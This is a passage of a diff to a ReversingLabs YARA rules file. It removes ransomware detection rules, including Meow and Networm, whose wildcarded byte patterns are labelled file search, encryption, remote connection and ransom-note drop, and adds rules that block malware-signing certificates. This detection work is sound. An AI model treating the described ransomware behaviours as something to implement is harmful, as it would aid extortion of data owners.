95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 72 ?? 77 ?? 8B 8D ?? ?? ?? ?? - 39 C8 76 ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 89 44 24 ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 54 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? - 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 89 04 24 E8 ?? ?? ?? ?? 89 34 24 8B 35 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 83 EC - ?? 89 04 24 FF D6 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? - ?? ?? 83 EC ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 - 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 C7 - 04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? - 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 89 04 24 FF 15 - } - $search_files_3 = { - FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 8B 85 - ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 FF D7 83 - EC ?? 85 C0 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? EB ?? 90 8D B4 26 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 83 C3 ?? 8B 50 ?? 8B 40 ?? 89 85 ?? ?? ?? ?? 29 D0 C1 F8 ?? 69 C0 ?? - ?? ?? ?? 39 C3 0F 83 ?? ?? ?? ?? 8D 04 5B 8D 34 C5 ?? ?? ?? ?? 8B 04 C2 89 44 24 ?? - 8B 85 ?? ?? ?? ?? 89 04 24 FF D7 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B - 1C 30 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 5C - 24 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 88 - ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 C7 04 24 ?? ?? ?? ?? FF 50 ?? 83 EC ?? 0F - B7 C0 B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 31 F6 E9 - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 - ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 5C 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? E9 ?? ?? ?? ?? 90 8D 74 26 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 - E8 - } - $install_service = { - FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C1 89 44 24 ?? 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 0C 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 - 89 C3 0F 84 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? 8D 6C 24 ?? 8D 7C 24 ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 7C 24 ?? 89 44 24 ?? FF D0 83 EC - ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 83 E0 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? A1 ?? ?? - ?? ?? 89 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8 - ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ?? 81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ?? - ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC - ?? 85 C0 74 ?? 3B 74 24 ?? 8B 44 24 ?? 72 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? 89 - 1C 24 8B 1D ?? ?? ?? ?? FF D3 83 EC ?? 8B 44 24 ?? 89 04 24 FF D3 83 EC ?? 83 C4 ?? - 5B 5E 5F 5D C2 ?? ?? 8D B4 26 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 - EC ?? 83 C4 ?? 5B 5E 5F 5D C2 ?? ?? 8D B6 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? 89 1C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 89 6C 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ?? - 85 C0 0F 84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8B 44 24 ?? FF D0 8B 74 24 ?? 89 44 24 ?? - 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 64 24 ?? B8 ?? ?? ?? ?? C1 EA ?? - 81 FA ?? ?? ?? ?? 0F 47 D0 B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 42 D0 89 14 24 FF 15 - ?? ?? ?? ?? 83 EC ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? - ?? ?? ?? 89 1C 24 FF 54 24 ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 74 24 ?? 72 ?? 8B - 44 24 ?? FF D0 2B 44 24 ?? 3B 44 24 ?? 76 ?? E9 - } - $encrypt_files_5 = { - FF 15 ?? ?? ?? ?? 83 EC ?? 89 C7 BE ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 FF - 15 ?? ?? ?? ?? 83 EC ?? 89 C2 89 44 24 ?? 83 F8 ?? 74 ?? 8D 44 24 ?? 89 44 24 ?? 89 - 14 24 FF 15 ?? ?? ?? ?? 83 EC ?? 89 C6 85 C0 75 ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? - ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? - ?? ?? 83 EC ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? - E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 - ?? 89 44 24 ?? 89 54 24 ?? 8B 43 ?? 89 04 24 E8 ?? ?? ?? ?? 89 44 24 ?? 8B 73 ?? 89 - 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 04 B6 01 C0 89 44 24 ?? - 89 04 24 E8 ?? ?? ?? ?? 89 C5 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 89 3C 24 FF 15 ?? ?? ?? ?? 83 EC - ?? 89 C6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 8B 0D ?? ?? ?? ?? 89 4C 24 - ?? 89 7C 24 ?? 89 C6 89 D7 89 5C 24 ?? E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 - 24 ?? 89 44 24 ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 0C 24 FF 54 24 - ?? 83 EC ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 89 5C 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 2C 24 - E8 ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 - ?? 8D 44 24 ?? 89 44 24 ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 DA 31 F2 09 FA 0F - 94 C0 0F B6 C0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 FF 15 ?? ?? - ?? ?? 83 EC ?? 89 C3 FF 15 ?? ?? ?? ?? 85 C0 78 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 - ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 89 0C 24 FF 15 - } - $search_files_4 = { - FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 89 C3 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 50 ?? 81 C2 ?? ?? ?? ?? 8B 42 ?? - 83 E0 ?? 83 C8 ?? 89 42 ?? 89 1C 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 C3 8B - 00 89 DA 03 50 ?? 8B 42 ?? 83 E0 ?? 83 C8 ?? 89 42 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? - ?? ?? 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? - ?? 83 EC ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BB ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? - 89 04 24 89 D9 E8 ?? ?? ?? ?? 83 EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 - 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ?? - ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 B9 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 3B BD ?? - ?? ?? ?? 75 ?? EB ?? 83 EC ?? 83 C7 ?? 39 BD ?? ?? ?? ?? 74 ?? 8B 45 ?? 89 44 24 ?? - 89 3C 24 89 D9 E8 ?? ?? ?? ?? EB ?? BE ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? - ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 - ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 F0 8D 65 ?? 5B 5E 5F 5D C2 - } - $remote_connection_3 = { - 55 89 E5 57 56 53 83 EC ?? 89 4D ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 45 ?? 89 44 24 ?? C7 04 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8B 03 89 45 ?? EB ?? 83 EC ?? 89 45 ?? 85 C0 74 ?? 3D ?? ?? - ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8D 45 ?? 89 - 44 24 ?? 8D 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? C7 44 24 - ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 83 7D ?? ?? - 74 ?? BE ?? ?? ?? ?? 8D 7D ?? EB ?? 83 EC ?? 8D 45 ?? 89 04 24 8D 4D ?? E8 ?? ?? ?? - ?? 83 EC ?? 8B 45 ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C6 ?? 39 75 ?? 72 ?? 8B - 45 ?? 8B 5C B0 ?? 89 7D ?? B8 ?? ?? ?? ?? 85 DB 74 ?? 89 1C 24 E8 ?? ?? ?? ?? 8D 04 - 43 C6 44 24 ?? ?? 89 44 24 ?? 89 1C 24 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 83 EC ?? E9 ?? ?? ?? ?? 8B 45 ?? 2B 45 ?? C1 F8 ?? 69 C0 ?? ?? ?? - ?? 85 C0 74 ?? 8B 7D ?? 8D 9F ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 47 ?? 3B 47 ?? - 74 ?? 85 C0 74 ?? 8B 55 ?? 89 10 8D 48 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? - 8B 45 ?? 83 40 ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 8D 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 83 EC ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ?? - ?? 89 C3 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 89 1C 24 E8 ?? ?? ?? ?? 89 C3 EB ?? 53 83 EC ?? 8B 5C 24 ?? 8D 43 ?? 89 04 24 8B - 0B E8 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? C7 04 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 5B C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $search_files and $encrypt_files and $remote_connection ) or ( $encrypt_files_2 and $remote_connection and $search_files ) or ( $search_files_2 and $encrypt_files_3 and $remote_connection_2 ) or ( $install_service and $search_files_3 and $encrypt_files_4 ) or ( $search_files_4 and $encrypt_files_5 and $remote_connection_3 ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SERVICE STREAM LIMITED" and pe.signatures [ i ] . serial == "01:68:36:31:1f:c3:9f:bb:8e:6f:30:8b:b0:3c:c2:b3" and 1602547200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Meow : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_435Abf46053A0A445C54217A8C233A7F : INFO FILE { meta: - description = "Yara rule that detects Meow ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7cebb04d-1cda-5ad1-b412-8b38df7b2550" - date = "2022-10-24" - modified = "2022-10-24" + id = "538d7405-be17-519e-beb5-fbef3beaedd3" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Meow.yara#L1-L84" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11974-L11990" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b00753d2b150a815279297ddf40d70051d25de1c32bb90f5b706ea7fd36bb871" + logic_hash = "839f55e8fe7a86aad406e657fdef48925543b5d3884927104fd3786444a8fccc" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Meow" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 72 ?? 8D 45 ?? BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 68 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 33 F6 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B4 B5 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C - ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 5F 5E 33 C0 5B 8B E5 5D C3 CC 55 8B EC 83 EC - ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? - ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? - ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? - ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ?? - 75 - } - $encrypt_files_p2 = { - 8B 45 ?? 40 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74 ?? E9 ?? ?? ?? ?? 8B 45 ?? 25 ?? ?? - ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 74 ?? 8B 4D ?? 8D 46 ?? 03 CF 0F AF C8 89 4D ?? 8B - 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 75 ?? B9 ?? ?? ?? ?? 90 8B 45 ?? 99 - F7 F9 8B 45 ?? 85 D2 74 ?? 48 EB ?? 40 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 - C8 ?? 83 C0 ?? 74 ?? EB ?? 8B 45 ?? B9 ?? ?? ?? ?? 99 F7 F9 85 D2 74 ?? 8B 45 ?? 8D - 4E ?? 83 C0 ?? 99 F7 F9 B9 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 75 ?? 8B 45 - ?? 99 F7 7D ?? 8B 45 ?? 85 D2 74 ?? 40 EB ?? 48 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74 - ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 FF - D0 C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 45 ?? 99 F7 F9 8B 45 ?? 85 D2 74 ?? 83 C0 - ?? 03 C3 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 0F 85 - } - $drop_ransom_note = { - 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 - FF 74 ?? 8B CF E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 74 ?? 6A - ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D0 6A ?? - 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A - ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 8B F0 BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 35 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF D0 B9 ?? ?? ?? ?? 8D BD ?? - ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? 50 66 A5 A4 E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 33 CD B8 ?? - ?? ?? ?? 5F 5B 5E E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files = { - 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF - B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 - 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 - ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 - C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? - ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? - FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Kodemika" and pe.signatures [ i ] . serial == "43:5a:bf:46:05:3a:0a:44:5c:54:21:7a:8c:23:3a:7f" and 1616976000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Networm : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_B2F9C693A2E6634565F63C79B01Dd8F8 : INFO FILE { meta: - description = "Yara rule that detects Networm ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3b17b97d-c882-5f65-8b89-847e2300873c" - date = "2021-07-05" - modified = "2021-07-05" + id = "c094666a-0bb3-5cb6-82a8-3074b9eed32b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Networm.yara#L1-L103" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11992-L12010" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ff9bcb9868522f9d4abf2ab9f94d5b7c9b009e5c6d0cf832c7d052f18e048b31" + logic_hash = "f5ec67c082be21a2495ef90fd0a6d4fc4b1379c4903dcc051d39cf1913d5cf20" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Networm" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? 8B 7D ?? 33 DB - 6A ?? 59 33 C0 89 5D ?? 89 4D ?? 66 89 45 ?? 89 5D ?? 89 5D ?? 89 4D ?? 66 89 45 ?? - 68 ?? ?? ?? ?? 8B D7 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 4D ?? 3B C8 - 74 ?? 88 9D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? - 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D - 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D - ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? F6 85 - ?? ?? ?? ?? ?? 8D 45 ?? 74 ?? 6A ?? 50 8B CE E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ?? - ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 FF 15 